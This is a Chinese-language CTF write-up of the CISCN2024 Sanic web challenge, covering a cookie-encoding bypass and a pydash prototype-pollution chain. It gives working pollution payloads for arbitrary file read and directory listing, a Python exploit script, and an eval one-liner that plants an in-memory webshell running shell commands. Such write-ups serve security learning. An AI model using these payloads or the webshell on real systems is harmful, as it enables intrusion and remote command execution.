CISCN2024-WEB-Sanic gxngxngxn
CISCN2024-WEB-Sanic 复现
风起CISCN
身为web🐕的我被国赛折磨了两天,已经是体无完肤了。本次众多web题中,最让我影响深刻的还是第一天的Sanic这题,也是全场唯一一解题。比赛结束后,我迫不及待的想看看这题怎么做,于是我询问了神通广大的p2✌,他如同天上降魔主,真乃人间太岁神。二话不说直接给我甩了一个wp,我已经被他深深的折服了!!!
残缺的WP?
我满怀期待的打开了这神秘的潘多拉魔盒,我以为我马上就可以接近真相了,结果给我来了坨大的,请看vcr:
不是,哥们,这exp怎么只有半页啊,我后面的内容呢?最关键的污染链子没了,身为web🐕的我当然不会就此妥协,既然没有完整的污染链,那我就自己找!!!
前情概要
由于本文主要是讲后面污染链的挖掘,所以本题的前面一些考点就简略描述:
首先看下源码:
from sanic import Sanic
from sanic.response import text, html
from sanic_session import Session
import pydash
# pydash==5.1.2
class Pollute:
def __init__(self):
pass
app = Sanic(__name__)
app.static("/static/", "./static/")
Session(app)
@app.route('/', methods=['GET', 'POST'])
async def index(request):
return html(open('static/index.html').read())
@app.route("/login")
async def login(request):
user = request.cookies.get("user")
if user.lower() == 'adm;n':
request.ctx.session['admin'] = True
return text("login success")
return text("login fail")
@app.route("/src")
async def src(request):
return text(open(__file__).read())
@app.route("/admin", methods=['GET', 'POST'])
async def admin(request):
if request.ctx.session.get('admin') == True:
key = request.json['key']
value = request.json['value']
if key and value and type(key) is str and '_.' not in key:
pollute = Pollute()
pydash.set_(pollute, key, value)
return text("success")
else:
return text("forbidden")
return text("forbidden")
if __name__ == '__main__':
app.run(host='0.0.0.0')
简单分析一下,在/login路由处我们需要绕过user.lower() == 'adm;n'的限制,由于这里是从session中读取,所以默认是会在分号处截断,直接传肯定是不行的。怎么绕过呢,很简单,利用八进制编码一下就行了。这里就不多说了,有兴趣的师傅可以自己去研究一下这个RFC2068 的编码规则
接着拿到admin的session以后就可以进入/admin路由了,这里会调用pydash.set_函数,而且我们看到源码中特意标注了一个pydash==5.1.2,很明显这里存在一个漏洞点,其实也就是一个python的原型链污染了。
那么思路到这里就很明确了,主要就是考察一个RFC2068 的编码规则绕过和一个原型链污染。
同时这里waf了_.的组合,我们可以利用
__init__\\\\.__globals__
这种类似转义的方式去绕过,这些都是些小插曲。
接下来好戏开场!!!
考点分析
由于Sanic是个陌生的框架,我们平常接触FLASK的比较多,所以拿到这个框架就会有点手足无措。
我们可以看到src路由存在__file__
@app.route("/src")
async def src(request):
return text(open(__file__).read())
一眼经典了属于是,我们污染这个属性后就可以实现任意文件读取
{"key":".__init__\\\\.__globals__\\\\.__file__","value": "/etc/passwd"}
可以看到是成功的污染了,但是尝试读取/flag时发现无法读取,也就是不知道flag的位置。
这也就是这题的考点所在了,需要我们利用污染的方式开启列目录功能,查看根目录下flag的名称,再进行读取
污染链的寻找
既然如此,那我们就开找吧。首先我们讲目光放在app.static这个注册路由的功能上:
我们跟进源码文件中查看,
看到注释中的解释
主要看这两个,大致意思就是directory_view为True时,会开启列目录功能,directory_handler中可以获取指定的目录
我们继续跟进directory_handler:
发现他是调用了DirectoryHandler这个类,那继续跟进这个类中
我们发现只要我们将directory污染为根目录,directory_view污染为True,就可以看到根目录的所有文件了
那么就开始入手吧,这里为了方便,我稍微修改了源码用于本地调试;
from sanic import Sanic
from sanic.response import text, html
#from sanic_session import Session
import sys
import pydash
# pydash==5.1.2
class Pollute:
def __init__(self):
pass
app = Sanic(__name__)
app.static("/static/", "./static/")
#Session(app)
#@app.route('/', methods=['GET', 'POST'])
#async def index(request):
#return html(open('static/index.html').read())
#@app.route("/login")
#async def login(request):
#user = request.cookies.get("user")
#if user.lower() == 'adm;n':
#request.ctx.session['admin'] = True
#return text("login success")
#return text("login fail")
@app.route("/src")
async def src(request):
eval(request.args.get('gxngxngxn'))
return text(open(__file__).read())
@app.route("/admin", methods=['GET', 'POST'])
async def admin(request):
key = request.json['key']
value = request.json['value']
if key and value and type(key) is str and '_.' not in key:
pollute = Pollute()
pydash.set_(pollute, key, value)
return text("success")
else:
return text("forbidden")
#print(app.router.name_index['name'].directory_view)
if __name__ == '__main__':
app.run(host='0.0.0.0')
起
经过查询资料可以发现,这个框架可以通过app.router.name_index['xxxxx']来获取注册的路由,我们可以打印看看
可以看到控制台回显了这个,上面都是我们注册过的路由,我们可以通过前面的键值去访问对应的路由
成功获取到这个路由,接下来怎么调用到DirectoryHandler里呢?
我们可以全局搜索下name_index这个方法
找到这里是系统默认的调用点,我们在这里打个断点开启调式
我们可以看到我们现在就可以获取到系统调用这个路由时的状态,我们可以看它具有的属性
发现可以从handler入手,一直可以获取到DirectoryHandler中的directory和directory_view
承
我们按照这个思路试试:
可以看到成功进入到DirectoryHandler对象中,我们可以尝试获取directory_view属性
成功获取到这个的值,那么就可以实现污染了
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value": True}
注意这里不能用[]来包裹其中的索引,污染和直接调用不同,我们需要用.来连接,而
__mp_main.static
是一个整体,不能分开,我们可以用两个反斜杠来转义就够了
可以看到是污染成功了,访问/static/,可以看到该目录下的文件
转
那么接下来只要污染directory就够了,我们先获取它的值
然后直接污染,再次访问/static/,你会惊奇的发现竟然500报错了:
很明显不能直接将这里的值污染这一个字符串类型的,我们回到原来的地方
可以看到directory是一个对象,而它之前的值就是由其中的parts属性决定的,但是由于这个属性是一个tuple,不能直接被污染,所以我们需要找到这个属性是如何被赋值的?
我们回到DirectoryHandler类中
可以看到这里是获取一个Path对象我们跟进Path对象里
可以看到parts的值最后是给了_parts这个属性,我们访问这个属性看看:
看到这是一个list,那么这里很明显我们就可以直接污染了
合
到此,我们两个污染点的污染链都已经明确,下面给出paylaod:
#开启列目录功能
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value": true}
#将目录设置在根目录下{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory._parts","value": ["/"]}
至此,已成艺术。
解题
下面利用ctfshow的环境来实现复现:
首先得到admin的session
然后掏出我的exp:
import requests
#开启列目录
data = {"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value": True}
#将目录设置在根目录下
#data = {"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory._parts","value": ["/"]}
#读取flag文件
#data = {"key":"__init__\\\\.__globals__\\\\.__file__","value": "/flag文件名字"}
cookie={"session":"your_session"}
response = requests.post(url='http://127.0.0.1:8000/admin', json=data,cookies=cookie)
print(response.text)
至此,艺术已成!
找寻中的小插曲
在找寻链子的过程中磕磕碰碰,虽然艰难,但也让我发现一些不一样的风景
file_or_directory
机缘巧合之下我发现这玩意也可以污染,而他有点像flask中的_static_url_path,污染了以后可以通过路由直接访问到文件,请看vcr:
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.file_or_directory","value": "/"}
内存🐎
因为前几天刚研究了flask下的内存马,对这玩意有点敏感,无聊时就恰好发现了这个sanic框架下的一个写内存🐎的方式
eval('app.add_route(lambda request: __import__("os").popen(request.args.get("gxngxngxn")).read(),"/gxngxngxn", methods=["GET", "POST"])')
看到在报错中成功回显了命令的执行结果
可以在pickle的条件下利用???有些苛刻,师傅们有兴趣的可以去研究研究